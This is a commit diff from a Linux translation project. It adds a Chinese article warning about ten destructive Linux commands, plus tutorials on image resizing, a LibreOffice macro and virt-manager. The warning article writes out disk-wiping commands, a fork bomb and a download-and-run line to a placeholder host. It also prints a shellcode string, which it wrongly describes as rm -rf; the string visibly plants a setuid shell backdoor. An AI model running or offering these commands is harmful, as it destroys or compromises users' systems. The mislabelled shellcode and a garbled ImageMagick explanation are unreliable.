mirror of
https://github.com/LCTT/TranslateProject.git
synced 2025-01-16 22:42:21 +08:00
Merge branch 'LCTT:master' into master
This commit is contained in:
commit
f7c12a62da
@ -14,7 +14,7 @@
|
||||
|
||||
> 关于如何在 Ubuntu 和其他 Linux 中使用 Etcher 工具创建可引导 USB 的快速简单教程。
|
||||
|
||||
[Etcher][1] 是由 [Balena][2] 创建的实用程序,它可以使用 .iso 文件创建可启动的 USB 和 SD 卡,q其独特的方式让你的生活变得轻松。在本指南中,我将向你展示下载和安装 Etcher 的步骤。
|
||||
[Etcher][1] 是由 [Balena][2] 创建的实用程序,它可以使用 .iso 文件创建可启动的 USB 和 SD 卡,其独特的方式让你的生活变得轻松。在本指南中,我将向你展示下载和安装 Etcher 的步骤。
|
||||
|
||||
虽然对某些人来说有点过于简单,但对其他人来说可能很难。因此才有了本指南。
|
||||
|
||||
|
@ -0,0 +1,219 @@
|
||||
[#]: subject: "10 Destructive Linux Commands You Should Never Run"
|
||||
[#]: via: "https://itsfoss.com/dangerous-linux-commands/"
|
||||
[#]: author: "Abhishek Prakash https://itsfoss.com/"
|
||||
[#]: collector: "lkxed"
|
||||
[#]: translator: "wxy"
|
||||
[#]: reviewer: "wxy"
|
||||
[#]: publisher: "wxy"
|
||||
[#]: url: "https://linux.cn/article-15022-1.html"
|
||||
|
||||
10 大可以摧毁你的 Linux 的命令
|
||||
======
|
||||
|
||||
![](https://img.linux.net.cn/data/attachment/album/202209/12/184637rc8znomk1ok7o2wx.jpg)
|
||||
|
||||
什么是最危险的 Linux 命令?
|
||||
|
||||
有人无数次问我这个问题,我一直避免回答,因为**没有一个明确的危险的 Linux 命令清单**。
|
||||
|
||||
你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。
|
||||
|
||||
想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。
|
||||
|
||||
这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。
|
||||
|
||||
同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。
|
||||
|
||||
当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。
|
||||
|
||||
我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。
|
||||
|
||||
> **免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。**
|
||||
|
||||
### 1、rm -rf /*
|
||||
|
||||
这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。
|
||||
|
||||
`rm` 命令用来删除文件/目录。标志 `-r` 和 `-f` 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。
|
||||
|
||||
运行 [sudo rm -rf /][1] 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 `--no-preserve-root` 才能实际运行它。
|
||||
|
||||
```
|
||||
sudo rm -rf / --no-preserve-root
|
||||
```
|
||||
|
||||
然而,一个更简单的版本可以是这样的:
|
||||
|
||||
```
|
||||
sudo rm -rf /*
|
||||
```
|
||||
|
||||
它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 **grub-rescue** 提示符下。
|
||||
|
||||
### 2、覆盖你的分区
|
||||
|
||||
如果你熟悉文件系统,你可能知道 `/dev/sda` 是什么。它(通常)是你的磁盘驱动器分区。`>` 操作符用于将其前面的命令的输出写到所提供的指定位置。
|
||||
|
||||
一旦你运行任何命令并把它写到 `/dev/sda`,比如说:
|
||||
|
||||
```
|
||||
echo "Hello" > /dev/sda
|
||||
```
|
||||
|
||||
这将用 `Hello` 字符串替换你的包含启动系统所需的所有数据的分区。
|
||||
|
||||
### 3、把所有的东西都移到黑洞
|
||||
|
||||
每个 Linux 系统内都有一个黑洞。而这个黑洞就是 `/dev/null`。
|
||||
|
||||
无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。
|
||||
|
||||
```
|
||||
mv /home/user/* /dev/null
|
||||
```
|
||||
|
||||
[mv 命令][3] 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。
|
||||
|
||||
### 4、格式化你的硬盘
|
||||
|
||||
[mkfs][4] 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。
|
||||
|
||||
```
|
||||
mkfs.ext3 /dev/sda
|
||||
```
|
||||
|
||||
这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。
|
||||
|
||||
### 5、fork 炸弹
|
||||
|
||||
这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。
|
||||
|
||||
```
|
||||
:(){ :|:& };:
|
||||
```
|
||||
|
||||
`&` - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 `:` 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。
|
||||
|
||||
顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。
|
||||
|
||||
### 6、覆盖重要的配置文件
|
||||
|
||||
虽然这本身不是一个命令,但它更像是一个预防性的东西。
|
||||
|
||||
如上所述,`>` 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。
|
||||
|
||||
```
|
||||
command > config_filename
|
||||
```
|
||||
|
||||
现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。
|
||||
|
||||
### 7、用垃圾数据替换分区
|
||||
|
||||
`/dev/random` 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 [dd 命令][5] 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。
|
||||
|
||||
```
|
||||
dd if=/dev/random of=/dev/sda
|
||||
```
|
||||
|
||||
`dd` 命令被用作一个低级别的复制工具。这里,它从 `/dev/random` 中获取随机数据,并用这些垃圾替换 `/dev/sda` 分区。
|
||||
|
||||
一个类似的效果是通过以下方式获得的:
|
||||
|
||||
```
|
||||
cat /dev/urandom > filename
|
||||
```
|
||||
|
||||
这里,它从 `/dev/urandom`(LCTT 译注:在 Linux 上,`/dev/urandom` 现在和 `/dev/random` 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 `Ctrl + C` 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。
|
||||
|
||||
### 8、将你的系统暴露给所有人
|
||||
|
||||
在 Linux 中,所有东西都是文件,每个 [文件都有一定的权限][6]。
|
||||
|
||||
你可以用 `ls -l` 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。
|
||||
|
||||
```
|
||||
chmod -R 777 /
|
||||
```
|
||||
|
||||
上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。
|
||||
|
||||
### 9、下载并运行恶意的内容
|
||||
|
||||
你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。
|
||||
|
||||
然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 [Homebrew][7] 为例:
|
||||
|
||||
你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗?
|
||||
|
||||
虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容:
|
||||
|
||||
```
|
||||
wget http://malicious_source -O- | sh
|
||||
```
|
||||
|
||||
这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。
|
||||
|
||||
### 10、伪装的命令
|
||||
|
||||
在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令:
|
||||
|
||||
```
|
||||
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
|
||||
release */
|
||||
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
|
||||
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
|
||||
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
|
||||
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
|
||||
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
|
||||
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
|
||||
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
|
||||
“cp -p /bin/sh /tmp/.beyond; chmod 4755
|
||||
/tmp/.beyond;”;
|
||||
```
|
||||
|
||||
虽然它看起来很花哨,但这是 `rm -rf` 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。
|
||||
|
||||
### 总结
|
||||
|
||||
![pebkac][8]
|
||||
|
||||
有一个著名的计算机术语 PEBKAC:“<ruby>问题存在于键盘和椅子之间<rt>problem exists between keyboard and chair</rt></ruby>”。
|
||||
|
||||
因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。
|
||||
|
||||
> UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。
|
||||
|
||||
而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。
|
||||
|
||||
我建议做这些事情以确保更安全的体验。
|
||||
|
||||
* 尝试并理解你将要运行的命令。
|
||||
* 用 Timeshift 保持你的系统设置的备份
|
||||
* 用 DejaDup 保持个人数据(主目录)的备份
|
||||
|
||||
正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。
|
||||
|
||||
我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: https://itsfoss.com/dangerous-linux-commands/
|
||||
|
||||
作者:[Abhishek Prakash][a]
|
||||
选题:[lkxed][b]
|
||||
译者:[wxy](https://github.com/wxy)
|
||||
校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
|
||||
|
||||
[a]: https://itsfoss.com/
|
||||
[b]: https://github.com/lkxed
|
||||
[1]: https://itsfoss.com/sudo-rm-rf/
|
||||
[2]: https://youtu.be/AiKPo14uVNU
|
||||
[3]: https://linuxhandbook.com/mv-command/
|
||||
[4]: https://linuxhandbook.com/mkfs-command/
|
||||
[5]: https://linuxhandbook.com/dd-command/
|
||||
[6]: https://linuxhandbook.com/linux-file-permissions/
|
||||
[7]: https://itsfoss.com/homebrew-linux/
|
||||
[8]: https://itsfoss.com/wp-content/uploads/2022/09/pebkac.jpg
|
@ -2,7 +2,7 @@
|
||||
[#]: via: "https://opensource.com/article/22/6/package-python-module-rpm"
|
||||
[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro"
|
||||
[#]: collector: "lkxed"
|
||||
[#]: translator: " "
|
||||
[#]: translator: "Return7g"
|
||||
[#]: reviewer: " "
|
||||
[#]: publisher: " "
|
||||
[#]: url: " "
|
||||
|
@ -2,7 +2,7 @@
|
||||
[#]: via: "https://jvns.ca/blog/2022/09/06/send-network-packets-python-tun-tap/"
|
||||
[#]: author: "Julia Evans https://jvns.ca/"
|
||||
[#]: collector: "lujun9972"
|
||||
[#]: translator: " "
|
||||
[#]: translator: "HankChow"
|
||||
[#]: reviewer: " "
|
||||
[#]: publisher: " "
|
||||
[#]: url: " "
|
||||
|
@ -0,0 +1,147 @@
|
||||
[#]: subject: "5 ways to resize and optimize images for the web on Linux"
|
||||
[#]: via: "https://opensource.com/article/22/9/resize-optimize-images-web-linux"
|
||||
[#]: author: "Seth Kenlon https://opensource.com/users/seth"
|
||||
[#]: collector: "lkxed"
|
||||
[#]: translator: " "
|
||||
[#]: reviewer: " "
|
||||
[#]: publisher: " "
|
||||
[#]: url: " "
|
||||
|
||||
5 ways to resize and optimize images for the web on Linux
|
||||
======
|
||||
Resize, archive, and split images to make big files better for the Internet.
|
||||
|
||||
![web development and design, desktop and browser][1]
|
||||
|
||||
Image by: [kreatikar][2] via [Pixabay][3], [CC0][4]
|
||||
|
||||
There was a time when 5 MB was the reasonable maximum size for an email attachment. Today, it's easily possible for a single photo to be 5 MB. Accordingly, the maximum attachment size has increased to, say, 25 MB. But of course file sizes are getting bigger and bigger too, and so eventually the attachment limit will go up too. It's an endless cycle, common in the digital world: the tools are built for today's data, and today's data increases in complexity and size until the tools are revised and improved. You have to contain data, preferably in the smallest packaging possible, so that sharing it online goes faster for everyone. Here are five ways to optimize images for the Internet.
|
||||
|
||||
### What image size is good for the web?
|
||||
|
||||
First of all, there are two kinds of "sizes" when discussing digital images. The *image size* represents how many pixels wide and high an image is when you look at it on your screen. The *file size* represents how many bytes on a hard drive or SD card the image uses. It's the *file size* that limits how easy something is to send it over the Internet because we all have different bandwidth allotments from our Internet providers and infrastructure. Of course, the larger the *image size*, the larger the *file size*, so the two are related.
|
||||
|
||||
To avoid confusion, in this article I use the term "image size" to refer to the pixel width and height of an image, and the term "file size" to refer to the bytes on a hard drive occupied by an image file.
|
||||
|
||||
It's hard to know exactly what a "reasonable" image size and file size is for a photo on the Internet or being sent over email. There are some reasonable expectations, though. If you're posting a photo to a website, whether it's your own blog or to social media, it's probable that *most* people are going to be viewing the photo at a resolution consistent with whatever's in stores. Your screen size, at least in 2022, is probably 1920 by 1080 (high definition, or HD) or thereabouts. Your photo, then, probably doesn't need to be any bigger than 1920 by 1080. Even people with a screen twice as big as yours could let your photo take up *half* their screen, which is probably sufficient.
|
||||
|
||||
The other part of the equation is the file format. Many file formats, like JPEG and PNG, imply a certain amount of compression. The more compression, the smaller the file size, but too much compression can render a blurry image. I like the [WEBP][5] format, which tends to have quality better than JPEG at a smaller file size. It's well supported by image applications and all major web browsers.
|
||||
|
||||
### 1. Resize an image with Krita
|
||||
|
||||
The open source application [Krita][6] is technically a digital painting application but it happens to be [a really great photo editor][7] as well. I use it to load a photo, shrink it down to a reasonable size, and then save it in a web-optimized format.
|
||||
|
||||
Three easy steps:
|
||||
|
||||
1. Go to the File menu and select Open to open your image in Krita.
|
||||
2. Go to the Image menu and select Scale image to new size. Type in the maximum width or height you want to resize your image to.
|
||||
3. Go to the File menu and select Save As and save the image as a WEBP image. Krita is smart and switches to WEBP as long as you use the `.webp` extension while saving your file (for example, `myphoto.webp`.)
|
||||
|
||||
![Resize an image with Krita][8]
|
||||
|
||||
[Krita][9] is available for Linux, Windows, and macOS.
|
||||
|
||||
### 2. Resize an image with GIMP
|
||||
|
||||
The open source [GNU Image Manipulation Program (GIMP)][10] is a photo editor, and it can resize images.
|
||||
|
||||
Three easy steps:
|
||||
|
||||
1. Go to the File menu and select Open to open your image.
|
||||
2. Go to the Image menu and select Scale image. Type in the maximum width or height you want to resize your image to.
|
||||
3. Go to the File menu and select Export As and save the image as a WEBP image. The application is smart and uses WEBP as long as you give the `.webp` extension while saving your file (for example, `myphoto.webp`.)
|
||||
|
||||
![Resize image in GNU Image Manipulation Program][11]
|
||||
|
||||
[GNU Image Manipulation Program (GIMP)][12] is available for Linux, Windows, and macOS.
|
||||
|
||||
### 3. Resize an image with ImageMagick
|
||||
|
||||
The [ImageMagick][13] suite is a set of terminal commands that can manipulate images without even opening the files in a user interface. It's a fast and efficient way to [modify lots of images all in one go][14].
|
||||
|
||||
One easy step:
|
||||
|
||||
```
|
||||
$ convert 2022-09-09-PHOTO.JPG -scale 1920x myphoto.webp
|
||||
```
|
||||
|
||||
In this command, `convert` is the component of ImageMagick that performs conversion, and `-scale` is the option that resizes. The `1080^` argument specifies that the converted image must be 1029 pixels wide, and the height (left blank after the `x` character) is auto-calculated.
|
||||
|
||||
[ImageMagick][15] is available for Linux, macOS, and Windows.
|
||||
|
||||
### 4. Archive an image
|
||||
|
||||
Sometimes you may not want to resize an image, but you still need to reduce the file size (the bytes the file uses up on your hard drive or SD card.) Images from consumer cameras, like those found in phones, are often already highly compressed, which doesn't leave much for a computer to optimize without resizing it. However, professional cameras often shoot in formats that assume you want no or minimal compression, which means that you can reduce the file size of an image without loss of quality with a good archiving utility.
|
||||
|
||||
There are several archive utilities out there, and many may already be installed on your computer. For instance, if your computer can create ZIP archives, then you've already got the ZIP compression algorithm available.
|
||||
|
||||
Two easy steps:
|
||||
|
||||
1. Open a file manager on your computer and locate the photo you want to compress.
|
||||
2. Right-click on the photo, and select Compress (on some operating systems, this may called Archive instead.)
|
||||
|
||||
Provided there's enough uncompressed data in your image to allow for compression, the archive version ought to be smaller in file size than the original. You can send the archive over the Internet, and the recipient can un-archive the image with
|
||||
|
||||
![Archiving a file][16]
|
||||
|
||||
[7-zip][17] is an excellent archive tool for Linux, Windows, and [macOS][18].
|
||||
|
||||
### 5. Split an image
|
||||
|
||||
If you're a Linux user, you can use the `split` command to cut an image into a few different pieces of a specific file size. Then you can send the pieces to someone, and they can reassemble the file using the `cat` command.
|
||||
|
||||
Assume the file `2022-09-09-PHOTO.JPG` is 6.7 MB. You could cut it into four pieces by splitting it at every 2 MB. On your computer:
|
||||
|
||||
```
|
||||
$ split 2022-09-09-PHOTO.JPG --bytes 2M
|
||||
$ ls -l --human
|
||||
[...] 6.7M Sep 7 14:50 2022-09-09-PHOTO.JPG
|
||||
[...] 2.0M Sep 7 14:54 xaa
|
||||
[...] 2.0M Sep 7 14:54 xab
|
||||
[...] 2.0M Sep 7 14:54 xac
|
||||
[...] 667K Sep 7 14:54 xad
|
||||
```
|
||||
|
||||
On the recipient's computer:
|
||||
|
||||
```
|
||||
$ cat xaa xab xac xad > myphoto.jpg
|
||||
```
|
||||
|
||||
### Save space
|
||||
|
||||
In the eternal struggle between file size and carrier capacity, it's likely we'll always have to make concessions. Using open source tools to save space either through lossy compression, lossless compressed archiving, or through clever work-arounds, is a great way to save space and maximize speed of communication. Sure, a picture is worth a thousand words, but it doesn't have to take up a thousand megabytes!
|
||||
|
||||
Image by: (Seth Kenlon, CC BY-SA 4.0)
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: https://opensource.com/article/22/9/resize-optimize-images-web-linux
|
||||
|
||||
作者:[Seth Kenlon][a]
|
||||
选题:[lkxed][b]
|
||||
译者:[译者ID](https://github.com/译者ID)
|
||||
校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
|
||||
|
||||
[a]: https://opensource.com/users/seth
|
||||
[b]: https://github.com/lkxed
|
||||
[1]: https://opensource.com/sites/default/files/lead-images/web_browser_desktop_devlopment_design_system_computer.jpg
|
||||
[2]: https://pixabay.com/en/users/kreatikar-8562930/
|
||||
[3]: https://pixabay.com/en/webdesign-design-web-website-3411373/
|
||||
[4]: https://pixabay.com/en/service/terms/#usage
|
||||
[5]: https://opensource.com/article/20/4/webp-image-compression
|
||||
[6]: http://krita.org
|
||||
[7]: https://opensource.com/article/21/12/open-source-photo-editing-krita
|
||||
[8]: https://opensource.com/sites/default/files/2022-09/krita-resize.webp
|
||||
[9]: http://krita.org
|
||||
[10]: http://gimp.org
|
||||
[11]: https://opensource.com/sites/default/files/2022-09/gimp-resize.webp
|
||||
[12]: http://gimp.org
|
||||
[13]: https://imagemagick.org/
|
||||
[14]: https://opensource.com/article/17/8/imagemagick
|
||||
[15]: https://imagemagick.org/script/download.php
|
||||
[16]: https://opensource.com/sites/default/files/2022-09/gnome-compress.webp
|
||||
[17]: https://www.7-zip.org/download.html
|
||||
[18]: https://formulae.brew.sh/formula/p7zip
|
@ -0,0 +1,161 @@
|
||||
[#]: subject: "Export or Save As PDF A Specific Range in LibreOffice Calc Sheets using Macro"
|
||||
[#]: via: "https://www.debugpoint.com/export-or-save-as-pdf-a-specific-range-in-libreoffice-calc-sheets-using-macro/"
|
||||
[#]: author: "Arindam https://www.debugpoint.com/author/admin1/"
|
||||
[#]: collector: "lkxed"
|
||||
[#]: translator: " "
|
||||
[#]: reviewer: " "
|
||||
[#]: publisher: " "
|
||||
[#]: url: " "
|
||||
|
||||
Export or Save As PDF A Specific Range in LibreOffice Calc Sheets using Macro
|
||||
======
|
||||
A simple program to show you how you can export range from LibreOffice as pdf using macro.
|
||||
|
||||
Exporting a LO sheet’s content to PDF is often necessary because of the wide use of PDF files for distributions, reporting etc. In the earlier tutorial, I showed how to export [an entire sheet’s content to a pdf file][1]. In this tutorial, I will show how to export a specific range (e.g. A1:B2 etc.) as a content of a pdf file.
|
||||
|
||||
How to export an entire sheet to pdf tutorial can be found [here][2].
|
||||
|
||||
### Export A Range from Sheet as PDF Using Macro in LibreOffice
|
||||
|
||||
I have source data like this (see below).
|
||||
|
||||
The pdf should contain the colour and values from A1 to I3 range, and the pdf file name should contain the current Date, the Sheet Name (i.e. in this example, ‘mySheet’) and a fixed value from a cell (i.e. in this example B5).
|
||||
|
||||
The reason I have added all these types of cells is to show you that all formatting is preserved when you export the entire range to PDF.
|
||||
|
||||
![Source LO Sheet][3]
|
||||
|
||||
### Details of the Macro
|
||||
|
||||
There are two parts to this macro.
|
||||
|
||||
First, to prepare the pdf file name dynamically based on a specific value. The pdf file includes the sheet name, a value from B5 cell and the date. Below is a piece of code that does this part:
|
||||
|
||||
```
|
||||
dim fileName
|
||||
fileName = ThisComponent.Sheets(0).Name & _
|
||||
"_ratie_" & ThisComponent.Sheets(0).getCellRangebyName("B5").String & _
|
||||
"_" & Replace(Date,"/","-") & ".pdf"
|
||||
```
|
||||
|
||||
**[update#1]**One of our readers asked about how to get the Active sheet name, Or the name of the current Calc sheet selected. To get the current active selected sheet’s name, use the below code:
|
||||
|
||||
```
|
||||
fileName = ThisComponent.getCurrentController.getActiveSheet.Name
|
||||
```
|
||||
|
||||
Now, create an `Frame` object and dispatcher object to Uno service `com.sun.star.frame.DispatchHelper`, which would help to export the pdf via function.
|
||||
|
||||
Create an empty file as well, in any path of your own and close the file.
|
||||
|
||||
```
|
||||
' change the path below as per your needs
|
||||
path ="file:///home/arindam/" & fileName
|
||||
Open path For Append As #1
|
||||
Close #1
|
||||
```
|
||||
|
||||
Now, it’s time to put the content inside the pdf.
|
||||
|
||||
To do that, we need to use Filters. Filters are the types and value pairs that can be put in an array and passed to executeDispatch function as an argument. The types are pre-defined, and when passed they will be processed as what they are supposed to do.
|
||||
|
||||
In this example, we need to pass the filename and the Range of LO Sheet, which needed to be printed only in the pdf, nothing else from the active sheet. The in-built Filter property `FilterData` to be used here.
|
||||
|
||||
```
|
||||
document = ThisComponent.CurrentController.Frame
|
||||
dispatcher = createUnoService("com.sun.star.frame.DispatchHelper")
|
||||
|
||||
oSheet = ThisComponent.CurrentController.getActiveSheet()
|
||||
oCellRange = oSheet.getCellRangeByName("A1:I3")
|
||||
|
||||
dim aFilterData(0) as new com.sun.star.beans.PropertyValue
|
||||
aFilterData(0).Name = "Selection"
|
||||
aFilterData(0).Value = oCellRange
|
||||
|
||||
dim args1(1) as new com.sun.star.beans.PropertyValue
|
||||
args1(0).Name = "URL"
|
||||
args1(0).Value = "file:///home/arindam/" & fileName ' change the path below as per your needs
|
||||
|
||||
args1(1).Name = "FilterData"
|
||||
args1(1).Value = aFilterData()
|
||||
```
|
||||
|
||||
Now pass this argument to the `executeDispatch` function as an argument.
|
||||
|
||||
```
|
||||
dispatcher.executeDispatch(document, ".uno:ExportDirectToPDF", "", 0, args1())
|
||||
```
|
||||
|
||||
### Running the Macro
|
||||
|
||||
Here is the pdf file that is created with the range of contents for this tutorial:
|
||||
|
||||
![PDF File Created After Run][4]
|
||||
|
||||
![Run – pdf Contents][5]
|
||||
|
||||
### Complete Macro
|
||||
|
||||
```
|
||||
Sub ExportRangeToPDF()
|
||||
dim document as object
|
||||
dim dispatcher as object
|
||||
dim fileName
|
||||
fileName = ThisComponent.Sheets(0).Name & _
|
||||
"_ratie_" & ThisComponent.Sheets(0).getCellRangebyName("B5").String & _
|
||||
"_" & Replace(Date,"/","-") & ".pdf"
|
||||
document = ThisComponent.CurrentController.Frame
|
||||
dispatcher = createUnoService("com.sun.star.frame.DispatchHelper")
|
||||
|
||||
oSheet = ThisComponent.CurrentController.getActiveSheet()
|
||||
oCellRange = oSheet.getCellRangeByName("A1:I3")
|
||||
|
||||
dim aFilterData(0) as new com.sun.star.beans.PropertyValue
|
||||
aFilterData(0).Name = "Selection"
|
||||
aFilterData(0).Value = oCellRange
|
||||
|
||||
' change the path below as per your needs
|
||||
path ="file:///home/arindam/" & fileName
|
||||
Open path For Append As #1
|
||||
Close #1
|
||||
|
||||
dim args1(1) as new com.sun.star.beans.PropertyValue
|
||||
args1(0).Name = "URL"
|
||||
args1(0).Value = "file:///home/arindam/" & fileName ' change the path below as per your needs
|
||||
|
||||
args1(1).Name = "FilterData"
|
||||
args1(1).Value = aFilterData()
|
||||
|
||||
dispatcher.executeDispatch(document, ".uno:ExportDirectToPDF", "", 0, args1())
|
||||
End Sub
|
||||
```
|
||||
|
||||
If you face any problem running this, drop a comment using the comment box below.
|
||||
|
||||
#### References
|
||||
|
||||
* [Filters][6]
|
||||
* [Filter list][7]
|
||||
* [service mediaDescriptor][8]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: https://www.debugpoint.com/export-or-save-as-pdf-a-specific-range-in-libreoffice-calc-sheets-using-macro/
|
||||
|
||||
作者:[Arindam][a]
|
||||
选题:[lkxed][b]
|
||||
译者:[译者ID](https://github.com/译者ID)
|
||||
校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
|
||||
|
||||
[a]: https://www.debugpoint.com/author/admin1/
|
||||
[b]: https://github.com/lkxed
|
||||
[1]: https://www.debugpoint.com/export-or-save-as-pdf-in-libreoffice-calc-sheets-using-macro/
|
||||
[2]: http://www.debugpoint.com/2014/10/export-or-save-as-pdf-in-libreoffice-calc-sheets-using-macro/
|
||||
[3]: https://www.debugpoint.com/wp-content/uploads/2015/08/Source-LO-Sheet.png
|
||||
[4]: https://www.debugpoint.com/wp-content/uploads/2015/08/PDF-File-Created-After-Run.png
|
||||
[5]: https://www.debugpoint.com/wp-content/uploads/2015/08/Run-pdf-Contents.png
|
||||
[6]: https://wiki.openoffice.org/wiki/API/Tutorials/PDF_export#PDF_Export_filter_data
|
||||
[7]: https://wiki.openoffice.org/wiki/Framework/Article/Filter/FilterList_OOo_3_0
|
||||
[8]: https://www.openoffice.org/api/docs/common/ref/com/sun/star/document/MediaDescriptor.html
|
@ -0,0 +1,45 @@
|
||||
[#]: subject: "How to Install and Use virt-manager Virtual Machine Manager in Ubuntu and Other Linux"
|
||||
[#]: via: "https://www.debugpoint.com/virt-manager/"
|
||||
[#]: author: "Arindam https://www.debugpoint.com/author/admin1/"
|
||||
[#]: collector: "lkxed"
|
||||
[#]: translator: " "
|
||||
[#]: reviewer: " "
|
||||
[#]: publisher: " "
|
||||
[#]: url: " "
|
||||
|
||||
How to Install and Use virt-manager Virtual Machine Manager in Ubuntu and Other Linux
|
||||
======
|
||||
virt-install
|
||||
|
||||
A comprehensive guide on how to install and use virt-manager virtual machine emulator in Ubuntu and other Linux systems.
|
||||
|
||||
The virt-manager application or package uses the [libvirt][1] library to provide virtual machine management services. It has a desktop interface that helps to create, delete, and manage multiple virtual machines.
|
||||
|
||||
It is primarily used for KVM VMs but can support other hypervisors as well, such as Xen, and LXC.
|
||||
|
||||
The user interface provides a summary view of all VMs their status, CPU usages, LIVE performance graph of running VMs, and resource utilization statistics.
|
||||
|
||||
There are other popular Virtual machine managers available such as [GNOME Boxes][2] and Oracle Virtual box. GNOME Boxes is easy, but it’s buggy and depends heavily on GTK and GNOME-related packages. Oracle Virtual Box is good, but I feel it is unnecessary and complex and has a complicated UI.
|
||||
|
||||
But the [virt-manager][3] is super easy and can be used on any Linux distribution.
|
||||
|
||||
When you install the virt-manager package, it comes with five components.
|
||||
|
||||
**virt-install**: Command-line utility to provision OS**virt-viewer**: The UI interface with graphical features**virt-clone**: Command-line tool to close existing inactive hosts**virt-xml**: Command-line tool for easily editing libvirt domain XML using virt-install’s command-line options.**virt-bootstrap**: Command tool providing an easy way to set up the root file system for libvirt-based containers.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: https://www.debugpoint.com/virt-manager/
|
||||
|
||||
作者:[Arindam][a]
|
||||
选题:[lkxed][b]
|
||||
译者:[译者ID](https://github.com/译者ID)
|
||||
校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
|
||||
|
||||
[a]: https://www.debugpoint.com/author/admin1/
|
||||
[b]: https://github.com/lkxed
|
||||
[1]: https://libvirt.org/manpages/libvirtd.html
|
||||
[2]: https://www.debugpoint.com/install-use-gnome-boxes/
|
